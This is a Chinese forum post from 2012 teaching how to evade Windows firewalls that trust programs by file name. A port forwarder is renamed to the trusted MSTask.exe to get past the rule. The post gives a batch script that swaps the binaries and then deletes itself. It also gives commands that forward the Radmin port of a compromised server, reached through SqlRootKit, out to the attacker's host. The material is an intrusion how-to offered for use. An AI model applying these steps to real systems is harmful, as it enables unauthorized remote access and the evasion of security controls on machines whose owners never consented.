教你如何突破防火墙的通用方法

[复制链接]
查看1678 | 回复0 | 2012-4-1 19:28:20 | 显示全部楼层 |阅读模式
  首先,介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲讲防火墙,大家都知道许多防火墙的“应用程序规则”里一般默认就会让IE浏览器(iexplore.exe)、OutlookExpress(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通过,而大多的防火墙认为只要是与规则里的路径及文件名相同就Pass!以这样的检测方法来决定是否放行,但它却完全没考虑到如果是别的文件替换的呢?——就相当于古装片里的易容术,易容后就认不得了!这就给了机会,可以利用这个BUG来欺骗防火墙来达到访外的目的!

  小知识:其实现在大多木马采用的DLL插线程技术也就是利用了这个原理,它们首先隐蔽的开启一个认证放行的程序进程(如Iexplore.exe进程),接着把DLL型木马插入这个线程内,然后访外时就可轻松突破防火墙的限制了——因为防火墙是不会拦截已认证放行的程序的。

  原理讲完了,现在讲讲该如何利用这个BUG了!这里我用虚拟机做实验,制造如下条件:

  为了更符合现实,我给服务器安装了“天网防火墙”、Radmin(但由于防火墙指定了访问IP地址,所以没办法正常连接!),MSSQLSERVER、Serv-u。首先用常用的方法进行端口转发,看看防火墙有什么反应!

  第一步,启用AngelShellVer1.0里的Fport(用来进行端口转发的服务端,几乎可以转发任何端口),然后在本地用FportClient(用来进行端口转发的客户端)监听好!

  第二步,直接在CMDSHELL里运行“e:\www\fport.exe4899192.168.1.17788”,这时看到虚拟机里的“天网”对Fport马上进行了拦截。

  看到了吧!由于Fport并不是认证放行的,防火墙马上就进行了拦截!OK,现在实行欺骗计划,看偶如何突破防火墙的!还是执行第一步,然后新建一个批处理,内容如下:

  [pre]ren MSTask.exe MSTask1.exe  ren fport.exe MSTask.exe  MSTask.exe 4899 192.168.1.1 7788  Del %0  [/pre]

  命名为go.bat,接着用SqlRootKit把“Fport.exe”和go.bat一起copy到目标机子的c:\winnt\system32\(也就是MSTask所在的目录)在SqlRootKit里执行go.bat(注意如果要改MSTask.exe的名的话就需要有管理员权限)。

  当FportClient出现“已经接受到远程计算机的连接!”时,用Radmin客户端连接本机的4899端口。

  已经成功突破限制(由于防火墙没有限制本地连接4899端口,用Fport转发了它的端口,登录时等于本地连接,因此能够成功连接),这样一来,本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了!

  国内的防火墙几乎无一例外的“拥有”这个BUG!虽然这个BUG不会带来什么大的危害,但总是给入侵者多了一个黑的机会!
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则